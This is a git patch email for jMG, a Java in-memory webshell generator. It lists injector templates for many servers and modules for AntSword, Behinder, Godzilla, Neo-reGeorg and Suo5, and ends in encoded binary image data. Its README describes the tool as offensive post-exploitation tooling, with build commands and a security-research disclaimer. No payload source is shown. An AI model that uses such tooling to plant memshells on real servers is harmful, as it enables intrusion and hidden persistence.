From b6e34b31e241e24f677f51c4c679c9efb108a496 Mon Sep 17 00:00:00 2001 From: pen4uin Date: Sat, 1 Jun 2024 12:20:17 +0800 Subject: [PATCH] =?UTF-8?q?61=E5=BF=AB=E4=B9=90?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 82 ++- img/gui.png | Bin 47770 -> 0 bytes img/sglab.svg | 100 --- jmg-antsword/pom.xml | 21 + .../antsword/generator/AntSwordGenerator.java | 56 ++ .../jmg/antsword/memshell/AntSwordFilter.java | 57 ++ .../antsword/memshell/AntSwordListener.java | 79 +++ .../java/jmg/antsword/util/ShellUtil.java | 41 ++ jmg-behinder/pom.xml | 21 + .../behinder/generator/BehinderGenerator.java | 56 ++ .../jmg/behinder/memshell/BehinderFilter.java | 70 ++ .../memshell/BehinderInterceptor.java | 78 +++ .../behinder/memshell/BehinderListener.java | 97 +++ .../java/jmg/behinder/util/ShellUtil.java | 46 ++ jmg-core/pom.xml | 26 + .../java/jmg/core/config/AbstractConfig.java | 307 +++++++++ .../main/java/jmg/core/config/Constants.java | 64 ++ .../java/jmg/core/format/BASE64Formater.java | 15 + .../java/jmg/core/format/BCELFormater.java | 16 + .../main/java/jmg/core/format/BCELoader.java | 53 ++ .../jmg/core/format/BCELoaderGenerator.java | 77 +++ .../jmg/core/format/BigIntegerFormater.java | 14 + .../main/java/jmg/core/format/IFormater.java | 10 + .../jmg/core/format/JARAgentFormater.java | 98 +++ .../java/jmg/core/format/JARFormater.java | 47 ++ .../java/jmg/core/format/JSPFormater.java | 35 + .../jmg/core/format/JavaScriptFormater.java | 36 + .../jmg/core/generator/IShellGenerator.java | 14 + .../jmg/core/generator/InjectorGenerator.java | 95 +++ .../src/main/java/jmg/core/jMGCodeApi.java | 52 ++ .../template/GlassFishFilterInjectorTpl.java | 208 ++++++ .../GlassFishListenerInjectorTpl.java | 193 ++++++ .../core/template/JettyFilterInjectorTpl.java | 297 +++++++++ .../template/JettyListenerInjectorTpl.java | 251 +++++++ .../core/template/ResinFilterInjectorTpl.java | 221 +++++++ .../template/ResinListenerInjectorTpl.java | 188 ++++++ .../template/SpringMVCAgentTransformer.java | 200 ++++++ .../SpringMVCInterceptorInjectorTpl.java | 183 ++++++ ...SpringWebFluxHandlerMethodInjectorTpl.java | 185 ++++++ .../core/template/TomcatAgentTransformer.java | 204 ++++++ .../template/TomcatFilterInjectorTpl.java | 294 +++++++++ .../template/TomcatListenerInjectorTpl.java | 230 +++++++ .../template/UndertowFilterInjectorTpl.java | 207 ++++++ .../template/UndertowListenerInjectorTpl.java | 202 ++++++ .../template/WebLogicFilterInjectorTpl.java | 292 +++++++++ .../template/WebLogicListenerInjectorTpl.java | 274 ++++++++ .../template/WebSphereFilterInjectorTpl.java | 272 ++++++++ .../WebSphereListenerInjectorTpl.java | 140 ++++ .../template/WildFlyFilterInjectorTpl.java | 207 ++++++ .../template/WildFlyListenerInjectorTpl.java | 197 ++++++ .../java/jmg/core/util/ClassNameUtil.java | 74 +++ .../main/java/jmg/core/util/CommonUtil.java | 312 +++++++++ .../main/java/jmg/core/util/CtClassUtil.java | 67 ++ .../main/java/jmg/core/util/InjectorUtil.java | 108 +++ .../java/jmg/core/util/JavassistUtil.java | 167 +++++ .../java/jmg/core/util/PackageNameUtil.java | 30 + .../jmg/core/util/RandomHttpHeaderUtil.java | 37 ++ .../main/java/jmg/core/util/ResponseUtil.java | 75 +++ .../web/servlet/AsyncHandlerInterceptor.java | 4 + jmg-core/src/main/resources/jmg-agent.jar | Bin 0 -> 873107 bytes jmg-custom/pom.xml | 21 + .../jmg/custom/generator/CustomGenerator.java | 53 ++ jmg-custom/src/test/java/test.java | 8 + jmg-docs/README_EN.md | 1 + jmg-docs/img/gui.png | Bin 0 -> 49859 bytes jmg-godzilla/pom.xml | 21 + .../godzilla/generator/GodzillaGenerator.java | 67 ++ .../jmg/godzilla/memshell/GodzillaFilter.java | 139 ++++ .../memshell/GodzillaInterceptor.java | 132 ++++ .../godzilla/memshell/GodzillaListener.java | 156 +++++ .../GodzillaWebFluxHandlerMethod.java | 123 ++++ .../java/jmg/godzilla/util/ShellUtil.java | 48 ++ jmg-gui/pom.xml | 98 +++ .../src/main/java/jmg/gui/form/jMGForm.form | 389 +++++++++++ .../src/main/java/jmg/gui/form/jMGForm.java | 616 ++++++++++++++++++ jmg-gui/src/main/java/jmg/gui/jMGApp.java | 17 + .../main/java/jmg/gui/util/ComponentUtil.java | 78 +++ .../src/main/java/jmg/gui/util/JExprUtil.java | 40 ++ .../src/main/java/jmg/gui/util/MenuUtil.java | 183 ++++++ .../main/java/jmg/gui/util/ResultUtil.java | 152 +++++ .../java/jmg/gui/util/ShellGeneratorUtil.java | 41 ++ .../main/java/jmg/gui/util/TextPaneUtil.java | 144 ++++ .../src/main/resources/messages_en.properties | 14 + .../main/resources/messages_en.properties.bak | 14 + .../src/main/resources/messages_zh.properties | 14 + .../main/resources/messages_zh.properties.bak | 14 + jmg-neoregeorg/pom.xml | 21 + .../generator/NeoreGeorgGenerator.java | 56 ++ .../neoregeorg/memshell/NeoreGeorgFilter.java | 89 +++ .../memshell/NeoreGeorgInterceptor.java | 84 +++ .../memshell/NeoreGeorgListener.java | 107 +++ .../java/jmg/neoregeorg/util/ShellUtil.java | 42 ++ jmg-suo5/pom.xml | 21 + .../jmg/suo5/generator/Suo5Generator.java | 58 ++ .../java/jmg/suo5/memshell/Suo5Filter.java | 553 ++++++++++++++++ .../jmg/suo5/memshell/Suo5Interceptor.java | 538 +++++++++++++++ .../java/jmg/suo5/memshell/Suo5Listener.java | 577 ++++++++++++++++ .../main/java/jmg/suo5/util/ShellUtil.java | 44 ++ pom.xml | 79 +++ 99 files changed, 11806 insertions(+), 128 deletions(-) delete mode 100644 img/gui.png delete mode 100644 img/sglab.svg create mode 100644 jmg-antsword/pom.xml create mode 100644 jmg-antsword/src/main/java/jmg/antsword/generator/AntSwordGenerator.java create mode 100755 jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordFilter.java create mode 100644 jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordListener.java create mode 100644 jmg-antsword/src/main/java/jmg/antsword/util/ShellUtil.java create mode 100644 jmg-behinder/pom.xml create mode 100644 jmg-behinder/src/main/java/jmg/behinder/generator/BehinderGenerator.java create mode 100755 jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderFilter.java create mode 100644 jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderInterceptor.java create mode 100644 jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderListener.java create mode 100644 jmg-behinder/src/main/java/jmg/behinder/util/ShellUtil.java create mode 100644 jmg-core/pom.xml create mode 100644 jmg-core/src/main/java/jmg/core/config/AbstractConfig.java create mode 100644 jmg-core/src/main/java/jmg/core/config/Constants.java create mode 100755 jmg-core/src/main/java/jmg/core/format/BASE64Formater.java create mode 100755 jmg-core/src/main/java/jmg/core/format/BCELFormater.java create mode 100644 jmg-core/src/main/java/jmg/core/format/BCELoader.java create mode 100644 jmg-core/src/main/java/jmg/core/format/BCELoaderGenerator.java create mode 100755 jmg-core/src/main/java/jmg/core/format/BigIntegerFormater.java create mode 100755 jmg-core/src/main/java/jmg/core/format/IFormater.java create mode 100755 jmg-core/src/main/java/jmg/core/format/JARAgentFormater.java create mode 100755 jmg-core/src/main/java/jmg/core/format/JARFormater.java create mode 100755 jmg-core/src/main/java/jmg/core/format/JSPFormater.java create mode 100755 jmg-core/src/main/java/jmg/core/format/JavaScriptFormater.java create mode 100644 jmg-core/src/main/java/jmg/core/generator/IShellGenerator.java create mode 100644 jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java create mode 100644 jmg-core/src/main/java/jmg/core/jMGCodeApi.java create mode 100644 jmg-core/src/main/java/jmg/core/template/GlassFishFilterInjectorTpl.java create mode 100644 jmg-core/src/main/java/jmg/core/template/GlassFishListenerInjectorTpl.java create mode 100644 jmg-core/src/main/java/jmg/core/template/JettyFilterInjectorTpl.java create mode 100644 jmg-core/src/main/java/jmg/core/template/JettyListenerInjectorTpl.java create mode 100644 jmg-core/src/main/java/jmg/core/template/ResinFilterInjectorTpl.java create mode 100644 jmg-core/src/main/java/jmg/core/template/ResinListenerInjectorTpl.java create mode 100644 jmg-core/src/main/java/jmg/core/template/SpringMVCAgentTransformer.java create mode 100644 jmg-core/src/main/java/jmg/core/template/SpringMVCInterceptorInjectorTpl.java create mode 100644 jmg-core/src/main/java/jmg/core/template/SpringWebFluxHandlerMethodInjectorTpl.java create mode 100644 jmg-core/src/main/java/jmg/core/template/TomcatAgentTransformer.java create mode 100644 jmg-core/src/main/java/jmg/core/template/TomcatFilterInjectorTpl.java create mode 100644 jmg-core/src/main/java/jmg/core/template/TomcatListenerInjectorTpl.java create mode 100644 jmg-core/src/main/java/jmg/core/template/UndertowFilterInjectorTpl.java create mode 100644 jmg-core/src/main/java/jmg/core/template/UndertowListenerInjectorTpl.java create mode 100644 jmg-core/src/main/java/jmg/core/template/WebLogicFilterInjectorTpl.java create mode 100644 jmg-core/src/main/java/jmg/core/template/WebLogicListenerInjectorTpl.java create mode 100755 jmg-core/src/main/java/jmg/core/template/WebSphereFilterInjectorTpl.java create mode 100644 jmg-core/src/main/java/jmg/core/template/WebSphereListenerInjectorTpl.java create mode 100644 jmg-core/src/main/java/jmg/core/template/WildFlyFilterInjectorTpl.java create mode 100644 jmg-core/src/main/java/jmg/core/template/WildFlyListenerInjectorTpl.java create mode 100644 jmg-core/src/main/java/jmg/core/util/ClassNameUtil.java create mode 100644 jmg-core/src/main/java/jmg/core/util/CommonUtil.java create mode 100644 jmg-core/src/main/java/jmg/core/util/CtClassUtil.java create mode 100644 jmg-core/src/main/java/jmg/core/util/InjectorUtil.java create mode 100644 jmg-core/src/main/java/jmg/core/util/JavassistUtil.java create mode 100644 jmg-core/src/main/java/jmg/core/util/PackageNameUtil.java create mode 100644 jmg-core/src/main/java/jmg/core/util/RandomHttpHeaderUtil.java create mode 100644 jmg-core/src/main/java/jmg/core/util/ResponseUtil.java create mode 100644 jmg-core/src/main/java/org/springframework/web/servlet/AsyncHandlerInterceptor.java create mode 100644 jmg-core/src/main/resources/jmg-agent.jar create mode 100644 jmg-custom/pom.xml create mode 100644 jmg-custom/src/main/java/jmg/custom/generator/CustomGenerator.java create mode 100644 jmg-custom/src/test/java/test.java create mode 100644 jmg-docs/README_EN.md create mode 100644 jmg-docs/img/gui.png create mode 100644 jmg-godzilla/pom.xml create mode 100644 jmg-godzilla/src/main/java/jmg/godzilla/generator/GodzillaGenerator.java create mode 100755 jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaFilter.java create mode 100644 jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaInterceptor.java create mode 100644 jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaListener.java create mode 100644 jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaWebFluxHandlerMethod.java create mode 100644 jmg-godzilla/src/main/java/jmg/godzilla/util/ShellUtil.java create mode 100644 jmg-gui/pom.xml create mode 100644 jmg-gui/src/main/java/jmg/gui/form/jMGForm.form create mode 100644 jmg-gui/src/main/java/jmg/gui/form/jMGForm.java create mode 100644 jmg-gui/src/main/java/jmg/gui/jMGApp.java create mode 100644 jmg-gui/src/main/java/jmg/gui/util/ComponentUtil.java create mode 100644 jmg-gui/src/main/java/jmg/gui/util/JExprUtil.java create mode 100644 jmg-gui/src/main/java/jmg/gui/util/MenuUtil.java create mode 100644 jmg-gui/src/main/java/jmg/gui/util/ResultUtil.java create mode 100644 jmg-gui/src/main/java/jmg/gui/util/ShellGeneratorUtil.java create mode 100644 jmg-gui/src/main/java/jmg/gui/util/TextPaneUtil.java create mode 100644 jmg-gui/src/main/resources/messages_en.properties create mode 100644 jmg-gui/src/main/resources/messages_en.properties.bak create mode 100644 jmg-gui/src/main/resources/messages_zh.properties create mode 100644 jmg-gui/src/main/resources/messages_zh.properties.bak create mode 100644 jmg-neoregeorg/pom.xml create mode 100644 jmg-neoregeorg/src/main/java/jmg/neoregeorg/generator/NeoreGeorgGenerator.java create mode 100644 jmg-neoregeorg/src/main/java/jmg/neoregeorg/memshell/NeoreGeorgFilter.java create mode 100644 jmg-neoregeorg/src/main/java/jmg/neoregeorg/memshell/NeoreGeorgInterceptor.java create mode 100644 jmg-neoregeorg/src/main/java/jmg/neoregeorg/memshell/NeoreGeorgListener.java create mode 100644 jmg-neoregeorg/src/main/java/jmg/neoregeorg/util/ShellUtil.java create mode 100644 jmg-suo5/pom.xml create mode 100644 jmg-suo5/src/main/java/jmg/suo5/generator/Suo5Generator.java create mode 100644 jmg-suo5/src/main/java/jmg/suo5/memshell/Suo5Filter.java create mode 100644 jmg-suo5/src/main/java/jmg/suo5/memshell/Suo5Interceptor.java create mode 100644 jmg-suo5/src/main/java/jmg/suo5/memshell/Suo5Listener.java create mode 100644 jmg-suo5/src/main/java/jmg/suo5/util/ShellUtil.java create mode 100644 pom.xml diff --git a/README.md b/README.md index 9c84d9d..90016d7 100644 --- a/README.md +++ b/README.md @@ -1,39 +1,65 @@ -# Java Memshell Generator +

English | 中文

+

+

Java Memshell Generator

+
+ GitHub watchers + GitHub forks + GitLab Stars +
+
一款支持高度自定义的 Java 内存马生成工具
+

-## 0x01 Introduce + -**jMG (Java Memshell Generator)** 是一款支持高度自定义的 Java 内存马生成工具,提供常见中间件的内存马注入支持。 +
-主要功能如下: -- 支持的中间件和框架 (Tomcat/Resin/Jetty/WebLogic/WebSphere/Undertow/GlassFish/SpringMVC/SpringWebFlux) -- 支持的工具 (AntSword/Behinder/Godzilla/Suo5) -- 支持的内存马类型 (Filter/Listener/Interceptor/HandlerMethod) -- 支持的输出格式 (BASE64/BCEL/CLASS/JS/JSP/JAR/BIGINTEGER) -- 支持的辅助模块 (专项漏洞封装/表达式语句封装) +> [!WARNING] +> 本工具仅供安全研究和学习使用。使用者需自行承担因使用此工具产生的所有法律及相关责任。请确保你的行为符合当地的法律和规定。作者不承担任何责任。如不接受,请勿使用此工具。 -> 此工具仅限于安全研究和教学,用户承担因使用此工具而导致的所有法律和相关责任! 作者不承担任何法律和相关责任! +
+## 功能 -## 0x02 Usage +| 中间件 | 框架 | 工具 (测试版本) | 内存马类型 | 输出格式 | 辅助模块 | +|-----------|---------------|------------------------------------------------------------------|---------------|------------|---------| +| Tomcat | SpringMVC | [AntSword](https://github.com/AntSwordProject/antSword) (2.1.15) | Listener | BASE64 | 专项漏洞封装 | +| Resin | SpringWebFlux | [Behinder](https://github.com/rebeyond/Behinder) (4.0.7) | Filter | BCEL | 表达式语句封装 | +| WebLogic | | [Godzilla](https://github.com/BeichenDream/Godzilla) (4.0.1) | Interceptor | BIGINTEGER | | +| Jetty | | [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) (5.1.0) | HandlerMethod | CLASS | | +| WebSphere | | [Suo5](https://github.com/zema1/suo5) (0.9.0) | | JAR | | +| Undertow | | Custom | | JAR_AGENT | | +| GlassFish | | | | JS | | +| | | | | JSP | | -下载 jMG-GUI.jar 运行即可 +## 编译 -![](./img/gui.png) +- maven - -## 0x03 Reference - -使用手册 -- [jMG v1.0.4](https://mp.weixin.qq.com/s/oAiGWY9ABhn2o148snA_sg) -- [jMG v1.0.5](https://mp.weixin.qq.com/s/QjoRs_J5jVANrdEiiTtVtA) -- [jMG v1.0.6](https://mp.weixin.qq.com/s/0ZzH35aRUPelq8nwilMQiA) -- [jMG v1.0.8](https://mp.weixin.qq.com/s/HkceemQBtKJeWMBrMvUeXA) - -参考项目 +```shell +mvn package assembly:single ``` -https://github.com/woodpecker-appstore/jexpr-encoder-utils -https://github.com/feihong-cs/memShell -https://github.com/su18/MemoryShell -https://github.com/BeichenDream/GodzillaMemoryShellProject -https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell + +- jmg-gui + +```shell +java -jar ./jmg-gui/target/jmg-gui-1.0.8-jar-with-dependencies.jar ``` + +## 文档 + +- [jMG v1.0.8](https://9ex.org/jmg-1-0-8/) +- [jMG v1.0.6](https://9ex.org/jmg-1-0-6/) +- [jMG v1.0.5](https://9ex.org/jmg-1-0-5/) +- [jMG v1.0.4](https://9ex.org/jmg-1-0-4/) + +## 致谢 + +- https://github.com/c0ny1 +- https://github.com/whwlsfb +- https://github.com/feihong-cs/memShell +- https://github.com/su18/MemoryShell +- https://github.com/BeichenDream/GodzillaMemoryShellProject + +## 协议 + +- 遵循 MIT 协议 \ No newline at end of file diff --git a/img/gui.png b/img/gui.png deleted file mode 100644 index f79d2593ce7d6aa2de8b8e2d67d447c33e08a75c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 47770 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 